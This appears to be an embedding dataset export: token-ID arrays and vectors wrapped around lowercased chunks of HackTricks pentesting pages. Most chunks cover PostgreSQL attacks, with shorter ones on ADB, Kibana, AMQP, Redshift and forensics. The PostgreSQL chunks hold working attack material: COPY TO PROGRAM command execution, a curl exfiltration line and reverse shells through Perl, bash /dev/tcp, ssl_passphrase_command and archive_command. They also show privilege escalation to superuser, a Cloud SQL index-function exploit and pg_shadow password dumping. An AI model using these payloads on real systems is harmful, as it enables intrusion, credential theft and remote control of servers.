7279,
22199,
2075,
2695,
17603,
2015,
4160,
2140,
2224,
7577,
4355,
2000,
4089,
3857,
1998,
8285,
8585,
2147,
12314,
2015,
6113,
2011,
1996,
2088,
1005,
1055,
2087,
3935,
2451,
5906,
1012,
3937,
... | hack_tricks | 108.txt | 0 |
dblink _ connect ('host = 1. 2. 3. 4 port = 5678 user = name password = secret dbname = abc connect _ timeout = 10') ; host is downdetail : could not connect to server : no route to host is the server running on host " 1. 2. 3. 4 " and accepting tcp / ip connections on port 5678? port is closeddetail : could not connect to server : connection refused is the serverrunning on host " 1. 2. 3. 4 " and accepting tcp / ip connections on port 5678? port is opendetail : server closed the connection unexpectedly this probably meansthe server terminated abnormally before or while processing the requestordetail : fatal : password authentication failed for user " name " port is open or filtereddetail : could not connect to server : connection timed out is the serverrunning on host " 1. 2. 3. 4 " and accepting tcp / ip connections on port 5678? unfortunately, there does not seem to be a way of getting the exception details within a pl / pgsql function. but you can get the details if you can connect directly to the postgresql server. if it is not possible to get usernames and passwords directly out of the system tables, the wordlist attack described in the previous section might prove successful. enumeration of privilegesrolesrole typestextrolsuperrole has superuser privilegesrolinheritrole automatically inherits privileges of roles it is a member ofrolcreaterolerole can create more rolesrolcreatedbrole can create databasesrolcanloginrole can log in. that is, this role can be given as the initial session authorization identifierrolreplicationrole is a replication role. a replication role can initiate replication connections and create and drop replication slots. rolconnlimitfor roles that can log in, this sets maximum number of concurrent connections this role can make. - 1 means no limit. rolpasswordnot the password ( always reads as * * * * * * * * ) rolvaliduntilpassword expiry time ( only used for password authentication ) ; null if no expirationrolbypassrlsrole bypasses every row - level security policy, see section 5. 8 for more information. rolconfigrole - specific defaults for run - time configuration variablesoidid of role | [
0.4397076964378357,
-0.31300783157348633,
-0.6431604623794556,
0.3836171329021454,
-0.22889962792396545,
-0.2579863667488098,
-0.11273155361413956,
0.22500291466712952,
0.4975455701351166,
0.4043976962566376,
0.2059606909751892,
-0.4458751678466797,
0.30119243264198303,
-0.577106773853302,... | [
16962,
13767,
1035,
7532,
1006,
1005,
3677,
1027,
1015,
1012,
1016,
1012,
1017,
1012,
1018,
3417,
1027,
5179,
2581,
2620,
5310,
1027,
2171,
20786,
1027,
3595,
16962,
18442,
1027,
5925,
7532,
1035,
2051,
5833,
1027,
2184,
1005,
1007,
1025,
... | hack_tricks | 108.txt | 1 |
##interesting groupsif you are a member of pg _ execute _ server _ program you can execute programsif you are a member of pg _ read _ server _ files you can read filesif you are a member of pg _ write _ server _ files you can write filesnote that in postgres a user, a group and a role is the same. it just depend on how you use it and if you allow it to login. # get users roles \ du # get users roles & groups # r. rolpassword # r. rolconfig, select r. rolname, r. rolsuper, r. rolinherit, r. rolcreaterole, r. rolcreatedb, r. rolcanlogin, r. rolbypassrls, r. rolconnlimit, r. rolvaliduntil, r. oid, array ( select b. rolname from pg _ catalog. pg _ auth _ members m join pg _ catalog. pg _ roles b on ( m. roleid = b. oid ) where m. member = r. oid ) as memberof, r. rolreplicationfrom pg _ catalog. pg _ roles rorder by 1 ; # check if current user is superiser # # if response is " on " then true, if " off " then falseselect current _ setting ('is _ superuser') ; # try to grant access to groups # # for doing this you need to be admin on the role, superadmin or have createrole role ( see next section ) grant pg _ execute _ server _ program to " username " ; grant pg _ read _ server _ files to " username " ; grant pg _ write _ server _ files to " username " ; # # you will probably get this error : # # cannot grant on the " pg _ write _ server _ files " role without being a member of the role. # create new role ( user ) as member of a role ( group ) create role u login password'lriohfugwebfdwrr'in group pg _ read _ server _ files ; # # common error # # cannot grant on the " pg _ read _ server _ files " role without being a member of the role. tables # get owners of tablesselect schemaname, tablename, tableowner from pg _ tables ; # | [
0.5242239832878113,
-0.7408505082130432,
-0.17685730755329132,
0.605963945388794,
0.17169612646102905,
-0.49376213550567627,
-0.27157485485076904,
0.3412807583808899,
0.5239896178245544,
0.7862052917480469,
0.2581804394721985,
-0.30861517786979675,
0.9619220495223999,
-0.22133195400238037,... | [
18447,
18702,
3436,
2967,
10128,
2017,
2024,
1037,
2266,
1997,
18720,
1035,
15389,
1035,
8241,
1035,
2565,
2017,
2064,
15389,
3454,
10128,
2017,
2024,
1037,
2266,
1997,
18720,
1035,
3191,
1035,
8241,
1035,
6764,
2017,
2064,
3191,
6764,
1012... | hack_tricks | 108.txt | 2 |
# get tables where user is ownerselect schemaname, tablename, tableowner from pg _ tables where tableowner ='postgres'; # get your permissions over tablesselect grantee, table _ schema, table _ name, privilege _ type from information _ schema. role _ table _ grants ; # check users privileges over a table ( pg _ shadow on this example ) # # if nothing, you don't have any permissionselect grantee, table _ schema, table _ name, privilege _ type from information _ schema. role _ table _ grants where table _ name ='pg _ shadow'; functions # interesting functions are inside pg _ catalog \ df * # get all \ df * pg _ ls * # get by substring \ df + pg _ read _ binary _ file # check who has access # get all functions of a schema \ df pg _ catalog. * # get all functions of a schema ( pg _ catalog in this case ) select routines. routine _ name, parameters. data _ type, parameters. ordinal _ positionfrom information _ schema. routines left join information _ schema. parameters on routines. specific _ name = parameters. specific _ namewhere routines. specific _ schema ='pg _ catalog'order by routines. routine _ name, parameters. ordinal _ position ; # another aparent optionselect * from pg _ proc ; file - system actionsread directories and filesfrom this commit members of the defined default _ role _ read _ server _ files group ( called pg _ read _ server _ files ) and super users can use the copy method on any path ( check out convert _ and _ check _ filename in genfile. c ) : # read filecreate table demo ( t text ) ; copy demo from'/ etc / passwd'; select * from demo ; remember that if you aren't super user but has the createrole permissions you can make yourself member of that group : grant pg _ read _ server _ files to username ; more info. there are other postgres functions that can be used to read file or list a directory. only superusers and users with explicit permissions can use them : # before executing these function go to the postgres db ( not in the template1 ) \ c postgres # # if you don't do this | [
0.7494741678237915,
-0.3210153579711914,
0.06059596687555313,
0.22721469402313232,
-0.30017775297164917,
-0.08977029472589493,
-0.04872342199087143,
0.8112285137176514,
0.4947865605354309,
0.4865558445453644,
0.5899466872215271,
-0.3324543237686157,
0.462749719619751,
-0.005428091622889042... | [
1001,
2131,
7251,
2073,
5310,
2003,
5608,
12260,
6593,
8040,
28433,
18442,
1010,
2795,
18442,
1010,
2795,
12384,
2121,
2013,
18720,
1035,
7251,
2073,
2795,
12384,
2121,
1027,
1005,
2695,
17603,
2015,
1005,
1025,
1001,
2131,
2115,
6656,
2015... | hack_tricks | 108.txt | 3 |
, you might get " permission denied " error even if you have permissionselect * from pg _ ls _ dir ('/ tmp') ; select * from pg _ read _ file ('/ etc / passwd ', 0, 1000000 ) ; select * from pg _ read _ binary _ file ('/ etc / passwd') ; # check who has permissions \ df + pg _ ls _ dir \ df + pg _ read _ file \ df + pg _ read _ binary _ file # try to grant permissionsgrant execute on function pg _ catalog. pg _ ls _ dir ( text ) to username ; # by default you can only access files in the datadirectoryshow data _ directory ; # but if you are a member of the group pg _ read _ server _ files # you can access any file, anywheregrant pg _ read _ server _ files to username ; # check createrole privilege escalationyou can find more functions in url file writingonly super users and members of pg _ write _ server _ files can use copy to write files. copy ( select convert _ from ( decode ('< encoded _ payload > ','base64'),'utf - 8') ) to'/ just / a / path. exec'; remember that if you aren't super user but has the createrole permissions you can make yourself member of that group : grant pg _ write _ server _ files to username ; more info. remember that copy cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one - liner. a very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values. binary files uploadhowever, there are other techniques to upload big binary files : big binary files upload ( postgresql ) register - register - rcerce to programsince version 9. 3, only super users and member of the group pg _ execute _ server _ program can use copy for rce ( example with exfiltration :'; copy ( select'' ) to program'curl url - l | base64 `'- - - example to exec : # pocdrop table if exists cmd _ exec ; create table cmd _ exec ( cmd _ output text ) ; copy cmd _ exec from | [
0.004208228085190058,
-0.08965613692998886,
0.35750195384025574,
0.052630577236413956,
0.05079806596040726,
-0.29934707283973694,
-0.09862224757671356,
0.227251797914505,
0.2778512239456177,
1.0853424072265625,
0.21332910656929016,
-0.2617625892162323,
0.47193124890327454,
-1.0958259105682... | [
1010,
2017,
2453,
2131,
1000,
6656,
6380,
1000,
7561,
2130,
2065,
2017,
2031,
6656,
11246,
22471,
1008,
2013,
18720,
1035,
1048,
2015,
1035,
16101,
1006,
1005,
1013,
1056,
8737,
1005,
1007,
1025,
7276,
1008,
2013,
18720,
1035,
3191,
1035,
... | hack_tricks | 108.txt | 4 |
program'id'; select * from cmd _ exec ; drop table if exists cmd _ exec ; # reverse shell # notice that in order to scape a single quote you need to put 2 single quotescopy files from program'perl - mio - e'' $ p = fork ; exit, if ( $ p ) ; $ c = new io : : socket : : inet ( peeraddr, " 192. 168. 0. 104 : 80 " ) ; stdin - > fdopen ( $ c, r ) ; $ ~ - > fdopen ( $ c, w ) ; system $ _ while < > ;'''; remember that if you aren't super user but has the createrole permissions you can make yourself member of that group : grant pg _ execute _ server _ program to username ; more info. or use the multi / postgres / postgres _ copy _ from _ program _ cmd _ exec module from metasploit. more information about this vulnerability here. while reported as cve - 2019 - 9193, postges declared this was a feature and will not be fixed. rce with postgresql languagesrce with postgresql languagesrce with postgresql extensionsonce you have learned from the previous post how to upload binary files you could try obtain rce uploading a postgresql extension and loading it. rce with postgresql extensionspostgresql configuration file rcethe configuration file of postgresql is writable by the postgres user which is the one running the database, so as superuser you can write files in the filesystem, and therefore you can overwrite this file. rce with ssl _ passphrase _ commandthe configuration file have some interesting attributes that can lead to rce : ssl _ key _ file ='/ etc / ssl / private / ssl - cert - snakeoil. key'path to the private key of the databasessl _ passphrase _ command ='' if the private file is protected by password ( encrypted ) postgresql will execute the command indicated in this attribute. ssl _ passphrase _ command _ supports _ reload = off if this attribute is on the command executed if the key is protected by password will be executed when pg _ reload _ conf | [
-0.06745516508817673,
-0.09010116755962372,
-0.18321259319782257,
0.4127037525177002,
-0.09472141414880753,
-0.3345886468887329,
-0.3628513514995575,
0.18261268734931946,
0.391279399394989,
0.708160400390625,
0.6512015461921692,
0.5540806651115417,
0.373220831155777,
-0.8261898159980774,
... | [
2565,
1005,
8909,
1005,
1025,
7276,
1008,
2013,
4642,
2094,
1035,
4654,
8586,
1025,
4530,
2795,
2065,
6526,
4642,
2094,
1035,
4654,
8586,
1025,
1001,
7901,
5806,
1001,
5060,
2008,
1999,
2344,
2000,
8040,
24065,
1037,
2309,
14686,
2017,
23... | hack_tricks | 108.txt | 5 |
( ) is executed. then, an attacker will need to : 1. dump private key from the server2. encrypt downloaded private key : 1. rsa - aes256 - in downloaded - ssl - cert - snakeoil. key - out ssl - cert - snakeoil. key3. overwrite4. dump the current postgresql configuration5. overwrite the configuration with the mentioned attributes configuration : 1. ssl _ passphrase _ command ='bash - c " bash - i > & / dev / tcp / 127. 0. 0. 1 / 8111 0 > & 1 "'2. ssl _ passphrase _ command _ supports _ reload = on6. execute pg _ reload _ conf ( ) while testing this i noticed that this will only work if the private key file has privileges 640, it's owned by root and by the group ssl - cert or postgres ( so the postgres user can read it ), and is placed in / var / lib / postgresql / 12 / main. more information about this technique here. rce with archive _ commandanother attribute in the configuration file that is exploitable is archive _ command. for this to work, the archive _ mode setting has to be'on'or'always '. if that is true, then we could overwrite the command in archive _ command and force it to execute via the wal ( write - ahead logging ) operations. the general steps are : 1. check whether archive mode is enabled : select current _ setting ('archive _ mode') 2. overwrite archive _ command with the payload. for eg, a reverse shell : archive _ command ='echo " [UNK] + jlmikttvcgvukfnurevsuiwipiztiik7zxhlyygil2jpbi9zacatasipo307 " | base64 - - decode | perl'3. reload the config : select pg _ reload _ conf ( ) 4. force the wal operation to run, which will call the archive command : select pg _ switch _ wal ( ) or select pg _ switch _ xlog ( ) for some postgres versionsmore information about this config and about wal here. postgres privesccreaterole privescgrantaccording to the docs : roles | [
0.1402321755886078,
0.23677842319011688,
-0.9324148893356323,
0.823859691619873,
-0.622521162033081,
0.3110494315624237,
-1.0687261819839478,
0.6576088666915894,
0.5261220335960388,
0.38595137000083923,
0.7780876755714417,
-0.1881004422903061,
0.19517473876476288,
-0.6924191117286682,
-0... | [
1006,
1007,
2003,
6472,
1012,
2059,
1010,
2019,
17346,
2097,
2342,
2000,
1024,
1015,
1012,
15653,
2797,
3145,
2013,
1996,
8241,
2475,
1012,
4372,
26775,
22571,
2102,
22817,
2797,
3145,
1024,
1015,
1012,
12667,
2050,
1011,
29347,
2015,
17788... | hack_tricks | 108.txt | 6 |
having createrole privilege can grant or revoke membership in any role that is not a superuser. so, if you have createrole permission you could grant yourself access to other roles ( that aren't superuser ) that can give you the option to read & write files and execute commands : # access to execute commandsgrant pg _ execute _ server _ program to username ; # access to read filesgrant pg _ read _ server _ files to username ; # access to write filesgrant pg _ write _ server _ files to username ; modify passwordusers with this role can also change the passwords of other non - superusers : # change passwordalter user user _ name with password'new _ password'; privesc to superuserit's pretty common to find that local users can login in postgresql without providing any password. therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you superuser role : copy ( select'' ) to program'psql - u < super _ user > - c " alter user < your _ username > with superuser ; "'; this is usually possible because of the following lines in the pg _ hba. conf file : # " local " is for unix domain socket connections onlylocal all all trust # ipv4 local connections : host all all 127. 0. 0. 1 / 32 trust # ipv6 local connections : host all all : : 1 / 128 trustalter table privescin this writeup is explained how it was possible to privesc in postgres gcp abusing alter table privilege that was granted to the user. when you try to make another user owner of a table you should get an error preventing it, but apparently gcp gave that option to the not - superuser postgres user in gcp : joining this idea with the fact that when the insert / update / analyze commands are executed on a table with an index function, the function is called as part of the command with the table owner ’ s permissions. it's possible to create an index with a function and give owner permissions to a super user over that table, and then run analyze over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner. getuseridandseccontext ( & save _ userid, & save _ sec _ context ) ; setuseridands | [
0.2489621788263321,
-0.4536761939525604,
-0.2884587049484253,
0.3810533881187439,
0.13700267672538757,
-0.4619182050228119,
-0.06817677617073059,
0.33202287554740906,
0.018735432997345924,
1.1087539196014404,
0.6632434129714966,
-0.04459935799241066,
0.7924834489822388,
-0.7692144513130188... | [
2383,
3443,
13153,
2063,
14293,
2064,
3946,
2030,
7065,
11045,
5779,
1999,
2151,
2535,
2008,
2003,
2025,
1037,
3565,
20330,
1012,
2061,
1010,
2065,
2017,
2031,
3443,
13153,
2063,
6656,
2017,
2071,
3946,
4426,
3229,
2000,
2060,
4395,
1006,
... | hack_tricks | 108.txt | 7 |
##eccontext ( onerel - > rd _ rel - > relowner, save _ sec _ context | security _ restricted _ operation ) ; exploitation1. create a new table. 2. insert some dummy content to the table, so the index function has something to work with. 3. create a malicious index function ( with our code execution payload ) on the table. 4. alter the table owner to cloudsqladmin, gcp ’ s superuser role, used only by cloud sql to maintain and manage the database. 5. analyze the table, forcing the postgresql engine to switch user - context to the table's owner ( cloudsqladmin ) and call the malicious index function with the cloudsqladmin permissions, resulting in executing our shell command, which we did not have permission to execute before. in postgresql, this flow looks something like this : create table temp _ table ( data text ) ; create table shell _ commands _ results ( data text ) ; insert into temp _ table values ('dummy content') ; / * postgresql does not allow creating a volatile index function, so first we create immutable index function * / create or replace function public. suid _ function ( text ) returns text language sql immutable as'select'' nothing'' ;'; create index index _ malicious on public. temp _ table ( suid _ function ( data ) ) ; alter table temp _ table owner to cloudsqladmin ; / * replace the function with volatile index function to bypass the postgresql restriction * / create or replace function public. suid _ function ( text ) returns text language sql volatile as'copy public. shell _ commands _ results ( data ) from program'' / usr / bin / id'' ; select'' test'' ;'; analyze public. temp _ table ; after executing the exploit sql query, the shell _ commands _ results table contains the output of the executed code : uid = 2345 ( postgres ) gid = 2345 ( postgres ) groups = 2345 ( postgres ) local loginsome misconfigured postgresql instances might allow login of any local user, it's possible to local from 127. 0. 0. 1 using the dblink function : \ du * # get users \ l # get databasesselect * from dblink ( ' | [
0.4867478013038635,
-0.1328578144311905,
0.07114140689373016,
0.8155198097229004,
-0.6394098997116089,
-0.45620474219322205,
-0.9006237983703613,
0.536821186542511,
0.03592201694846153,
0.8773371577262878,
0.5302983522415161,
0.07732996344566345,
0.23586484789848328,
-0.2680147588253021,
... | [
8586,
8663,
18209,
1006,
2028,
16570,
1011,
1028,
16428,
1035,
2128,
2140,
1011,
1028,
2128,
8261,
3678,
1010,
3828,
1035,
10819,
1035,
6123,
1064,
3036,
1035,
7775,
1035,
3169,
1007,
1025,
14427,
2487,
1012,
3443,
1037,
2047,
2795,
1012,
... | hack_tricks | 108.txt | 8 |
host = 127. 0. 0. 1 port = 5432 user = someuser password = supersecret dbname = somedb ','select usename, passwd from pg _ shadow') returns ( result text ) ; note that for the previos query to work the function dblink needs to exist. if it doesn't you could try to create it withcreate extension dblink ; if you have the password of a user with more privileges, but the user is not allowed to login from an external ip you can use the following function to execute queries as that user : select * from dblink ('host = 127. 0. 0. 1 user = someuser dbname = somedb ','select usename, passwd from pg _ shadow') returns ( result text ) ; it's possible to check if this function exists with : select * from pg _ proc where proname ='dblink'and pronargs = 2 ; custom defined function with security definer * * * * in this writeup, pentesters were able to privesc inside a postgres instance provided by ibm, because they found this function with the security definer flag : create or replace function public. create _ subscription ( in subscription _ name text, in host _ ip text, in portnum text, in password text, in username text, in db _ name text, in publisher _ name text ) returns text language'plpgsql'volatile security definer parallel unsafe cost 100 as $ body $ declare persist _ dblink _ extension boolean ; begin persist _ dblink _ extension : = create _ dblink _ extension ( ) ; perform dblink _ connect ( format ('dbname = % s ', db _ name ) ) ; perform dblink _ exec ( format ('create subscription % s connection'' host = % s port = % s password = % s user = % s dbname = % s sslmode = require'' publication % s ', subscription _ name, host _ ip, portnum, password, username, db _ name, publisher _ name ) ) ; perform dblink _ disconnect ( ) ; … as explained in the docs a function with security definer is executed with the privileges of the user that owns it. therefore, if the function is vulnerable to sql injection or is doing some privileged actions with params controlled by the attacker, it could be abused to es | [
-0.2750093340873718,
0.16848960518836975,
-0.0657639279961586,
0.5147420167922974,
-0.20475713908672333,
0.5117638111114502,
-0.4962371289730072,
0.40358585119247437,
0.17305897176265717,
0.6238405704498291,
0.27690616250038147,
-0.21377700567245483,
0.47176846861839294,
0.0123512363061308... | [
3677,
1027,
13029,
1012,
1014,
1012,
1014,
1012,
1015,
3417,
1027,
5139,
16703,
5310,
1027,
2070,
20330,
20786,
1027,
3565,
3366,
16748,
2102,
16962,
18442,
1027,
2070,
18939,
1005,
1010,
1005,
7276,
2224,
18442,
1010,
3413,
21724,
2013,
18... | hack_tricks | 108.txt | 9 |
##calate privileges inside postgres. in the line 4 of the previous code you can see that the function has the security definer flag. create subscription test3 connection'host = 127. 0. 0. 1 port = 5432 password = a user = ibm dbname = ibmclouddb sslmode = require'publication test2 _ publication with ( create _ slot = false ) ; insert into public. test3 ( data ) values ( current _ user ) ; and then execute commands : pass burteforce with pl / pgsqlpl / pgsql, as a fully featured programming language, allows much more procedural control than sql, including the ability to use loops and other control structures. sql statements and triggers can call functions created in the pl / pgsql language. you can abuse this language in order to ask postgresql to brute - force the users credentials. pl / pgsql password bruteforcepostmsf > use auxiliary / scanner / postgres / postgres _ hashdumpmsf > use auxiliary / scanner / postgres / postgres _ schemadumpmsf > use auxiliary / admin / postgres / postgres _ readfilemsf > use exploit / linux / postgres / postgres _ payloadmsf > use exploit / windows / postgres / postgres _ payloadlogginginside the postgresql. conf file you can enable postgresql logs changing : log _ statement ='all'log _ filename ='postgresql - % y - % m - % d _ % h % m % s. log'logging _ collector = onsudo service postgresql restart # find the logs in / var / lib / postgresql / < pg _ version > / main / log / # or in / var / lib / postgresql / < pg _ version > / main / pg _ log / then, restart the service. pgadminpgadmin is an administration and development platform for postgresql. you can find passwords inside the pgadmin4. db file you can decrypt them using the decrypt function inside the script : url pgadmin4. db ". schema " sqlite3 pgadmin4. db " select * from user ; " sqlite3 pgadmin4. db | [
0.5801861882209778,
-0.06898844242095947,
0.09523289650678635,
0.5538517832756042,
-0.6973787546157837,
-0.295337051153183,
-0.43283236026763916,
0.7736070156097412,
-0.21350853145122528,
0.6699392199516296,
0.49223920702934265,
-0.21877263486385345,
0.2056744545698166,
-0.2366519272327423... | [
25015,
2618,
14310,
2503,
2695,
17603,
2015,
1012,
1999,
1996,
2240,
1018,
1997,
1996,
3025,
3642,
2017,
2064,
2156,
2008,
1996,
3853,
2038,
1996,
3036,
9375,
2099,
5210,
1012,
3443,
15002,
3231,
2509,
4434,
1005,
3677,
1027,
13029,
1012,
... | hack_tricks | 108.txt | 10 |
" select * from server ; " string pgadmin4. dbpg _ hbaclient authentication is controlled by a config file frequently named pg _ hba. conf. this file has a set of records. a record may have one of the following seven formats : each record specifies a connection type, a client ip address range ( if relevant for the connection type ), a database name, a user name, and the authentication method to be used for connections matching these parameters. the first record with a matching connection type, client address, requested database, and user name is used to perform authentication. there is no " fall - through " or " backup " : if one record is chosen and the authentication fails, subsequent records are not considered. if no record matches, access is denied. the password - based authentication methods are md5, crypt, and password. these methods operate similarly except for the way that the password is sent across the connection : respectively, md5 - hashed, crypt - encrypted, and clear - text. a limitation is that the crypt method does not work with passwords that have been encrypted in pg _ authid. use trickest to easily build and automate workflows powered by the world's most advanced community tools. network services pentesting - [SEP] | [
0.4794924259185791,
-0.28230178356170654,
0.33371204137802124,
0.5633006691932678,
-0.2714012563228607,
0.20027068257331848,
0.2691322863101959,
-0.06883484870195389,
-0.1551210731267929,
0.5546661615371704,
0.15867793560028076,
0.48907890915870667,
0.21222282946109772,
-0.4781978726387024... | [
1000,
7276,
1008,
2013,
8241,
1025,
1000,
5164,
14198,
22117,
2378,
2549,
1012,
16962,
26952,
1035,
1044,
3676,
20464,
11638,
27280,
2003,
4758,
2011,
1037,
9530,
8873,
2290,
5371,
4703,
2315,
18720,
1035,
1044,
3676,
1012,
9530,
2546,
1012... | hack_tricks | 108.txt | 11 |
[CLS] 5439 - pentesting redshiftbasic informationthis port is used by redshift to run. it's basically an aws variation of postgresql. for more information check : aws - redshift enumhacktricks cloudnetwork services pentesting - [SEP] | [
0.5134497880935669,
0.4530498683452606,
-0.17565210163593292,
-0.06626874208450317,
-1.0257694721221924,
0.18522953987121582,
-0.5251487493515015,
0.14553169906139374,
0.6592902541160583,
0.8937110900878906,
0.36782729625701904,
-0.7196105718612671,
0.3801474869251251,
-0.8813574910163879,... | [
101,
5139,
23499,
1011,
7279,
22199,
2075,
12281,
4048,
6199,
22083,
2594,
2592,
15222,
2015,
3417,
2003,
2109,
2011,
12281,
4048,
6199,
2000,
2448,
1012,
2009,
1005,
1055,
10468,
2019,
22091,
2015,
8386,
1997,
2695,
17603,
2015,
4160,
2140... | hack_tricks | 109.txt | 0 |
[CLS] basic forensic methodologycreating and mounting an imageimage acquisition & mountmalware analysisthis isn't necessary the first step to perform once you have the image. but you can use this malware analysis techniques independently if you have a file, a file - system image, memory image, pcap... so it's good to keep these actions in mind : malware analysisinspecting an imageif you are given a forensic image of a device you can start analyzing the partitions, file - system used and recovering potentially interesting files ( even deleted ones ). learn how in : partitions / file systems / carvingdepending on the used oss and even platform different interesting artifacts should be searched : windows artifactslinux forensicsdocker forensicsdeep inspection of specific file - types and softwareif you have very suspicious file, then depending on the file - type and software that created it several tricks may be useful. read the following page to learn some interesting tricks : specific software / file - type tricksi want to do a special mention to the page : browser artifactsmemory dump inspectionmemory dump analysispcap inspectionpcap inspectionanti - forensic techniqueskeep in mind the possible use of anti - forensic techniques : anti - forensic techniquesthreat huntingbaseline monitoring [SEP] | [
0.12573301792144775,
-0.10223403573036194,
0.3948080539703369,
-0.39558425545692444,
-0.17768506705760956,
-0.678618311882019,
-0.8475545644760132,
-0.11874338239431381,
0.4679799973964691,
1.0079822540283203,
0.19190488755702972,
-0.16239704191684723,
0.6487118005752563,
-0.46864789724349... | [
101,
3937,
15359,
16134,
16748,
5844,
1998,
15986,
2019,
3746,
9581,
3351,
7654,
1004,
4057,
9067,
8059,
4106,
15222,
2015,
3475,
1005,
1056,
4072,
1996,
2034,
3357,
2000,
4685,
2320,
2017,
2031,
1996,
3746,
1012,
2021,
2017,
2064,
2224,
... | hack_tricks | 11.txt | 0 |
[CLS] 5555 - android debug bridgebasic informationandroid debug bridge ( adb ) is a versatile command - line tool that lets you communicate with a device. the adb command facilitates a variety of device actions, such as installing and debugging apps, and it provides access to a unix shell that you can use to run a variety of commands on a device. ( from here ) default port : 5555. port state service version5555 / tcp open adb android debug bridge device ( name : msm8909 ; model : n3 ; device : msm8909 ) connectif find the adb service running in a port of a device and you can connect to it, you can get a shell inside the system : adb connect 10. 10. 10. 10adb root # try to escalate to rootadb shellfor more adb commands check the following page : adb commandsdump app datain order to completely download the data of an application you can : # from a root consolechmod 777 / data / data / com. packagecp - r / data / data / com. package / sdcard note : using adb attacker cannot obtain data directly by using command " adb pull / data / data / com. package ". he is compulsorily required to move data to internal storage and then he can pull that data. adb pull " / sdcard / com. package " you can use this trick to retrieve sensitive information like chrome passwords. for more info about this check the information a references provided here. shodanandroid debug bridgenetwork services pentesting - [SEP] | [
0.4252530336380005,
0.054754991084337234,
-0.600153386592865,
0.21728120744228363,
-0.23722213506698608,
0.17350049316883087,
0.2795579433441162,
0.1897372454404831,
1.1690666675567627,
0.9140530824661255,
0.10093509405851364,
-0.08701468259096146,
0.2408439964056015,
-0.8795812726020813,
... | [
101,
29541,
2629,
1011,
11924,
2139,
8569,
2290,
2958,
22083,
2594,
2592,
5685,
22943,
2139,
8569,
2290,
2958,
1006,
4748,
2497,
1007,
2003,
1037,
22979,
3094,
1011,
2240,
6994,
2008,
11082,
2017,
10639,
2007,
1037,
5080,
1012,
1996,
4748,
... | hack_tricks | 110.txt | 0 |
[CLS] 5601 - pentesting kibanabasic informationkibana provides search and data visualization capabilities for data indexed in elasticsearch. the service runs per default on port 5601. kibana also acts as the user interface for monitoring, managing, and securing an elastic stack cluster. authentication? authentication in kibana is linked to the credentials from elasticsearch. if authentication is disabled in elasticsearch, kibana also should be accessible without credentials. otherwise the same credentials valid for elasticsearch should be working when logging in to kibana. the rights of the users in elasticsearch are the same as in kibana. you might find credentials in the configuration file / etc / kibana / kibana. yml. if those credentials are not for the user kibana _ system, it should be tried to use them for accessing further data. they could have more rights then the kibana _ system user, which only has access to the monitoring api and the. kibana index. having access? when having access to kibana you can do several things : try to access data from elasticsearchcheck if you can access the users panel and if you can edit, delete or create new users, roles or api keys ( stack management - > users / roles / api keys ) check the current version for vulnerabilities ( there was a rce vulnerability in 2019 for kibana versions < 6. 6. 0 [ 2 ] ) enabled ssl / tls? if ssl / tls is not enabled, it should be evaluated, whether sensitive information can be leaked. [SEP] | [
-0.41172194480895996,
0.040588703006505966,
-0.43587759137153625,
-0.3766016960144043,
0.4632346034049988,
0.9984183311462402,
-0.1198621615767479,
-0.12432657927274704,
0.13449597358703613,
1.1052796840667725,
-0.2102436125278473,
-0.16956642270088196,
0.5293437838554382,
-1.3249142169952... | [
101,
21267,
2487,
1011,
7279,
22199,
2075,
11382,
19445,
22083,
2594,
2592,
3211,
19445,
3640,
3945,
1998,
2951,
5107,
3989,
9859,
2005,
2951,
25331,
1999,
21274,
17310,
11140,
1012,
1996,
2326,
3216,
2566,
12398,
2006,
3417,
21267,
2487,
1... | hack_tricks | 111.txt | 0 |
[CLS] 5671, 5672 - pentesting amqpbasic informationrabbitmq is a message - queueing software also known as a message broker or queue manager. simply said ; it is software where queues are defined, to which applications connect in order to transfer a message or messages. a message can include any kind of information. it could, for example, have information about a process or task that should start on another application ( which could even be on another server ), or it could be just a simple text message. the queue - manager software stores the messages until a receiving application connects and takes a message off the queue. the receiving application then processes the message. definition from here. default port : 5672, 5671port state service version5672 / tcp open amqp rabbitmq 3. 1. 5 ( 0 - 9 ) enumerationmanualimport amqp # by default it uses default credentials " guest " : " guest " conn = amqp. connection. connection ( host = " < ip > ", port = 5672, virtual _ host = " / " ) conn. connect ( ) for k, v in conn. server _ properties. items ( ) : print ( k, v ) automaticnmap - sv - pn - n - t4 - p 5672 - - script amqp - info < ip > port state service version5672 / tcp open amqp rabbitmq 3. 1. 5 ( 0 - 9 ) | amqp - info : | capabilities : | publisher _ confirms : yes | exchange _ exchange _ bindings : yes | basic. nack : yes | consumer _ cancel _ notify : yes | copyright : copyright ( c ) 2007 - 2013 gopivotal, inc. | information : licensed under the mpl. see url platform : erlang / otp | product : rabbitmq | version : 3. 1. 5 | mechanisms : plain amqplain | _ locales : en _ usother rabbitmq portsfrom url you can find that rabbitmq uses several ports : 1883, 8883 : ( mqtt clients without and with tls, if the mqtt plugin is enabled. learn more about how to pentest mqtt here. 4369 : epmd, a peer discovery service used by rabbitmq nodes and cli | [
0.3633103370666504,
-0.30203139781951904,
-1.1374162435531616,
1.6488547325134277,
-0.4178580641746521,
-0.3259466290473938,
-0.3561255931854248,
0.17770518362522125,
0.24009951949119568,
1.316981315612793,
-0.04653075709939003,
-0.45509663224220276,
0.13661544024944305,
-0.709698736667633... | [
101,
5179,
2581,
2487,
1010,
5179,
2581,
2475,
1011,
7279,
22199,
2075,
2572,
4160,
2361,
22083,
2594,
2592,
2527,
10322,
4183,
2213,
4160,
2003,
1037,
4471,
1011,
24240,
2075,
4007,
2036,
2124,
2004,
1037,
4471,
20138,
2030,
24240,
3208,
... | hack_tricks | 112.txt | 0 |
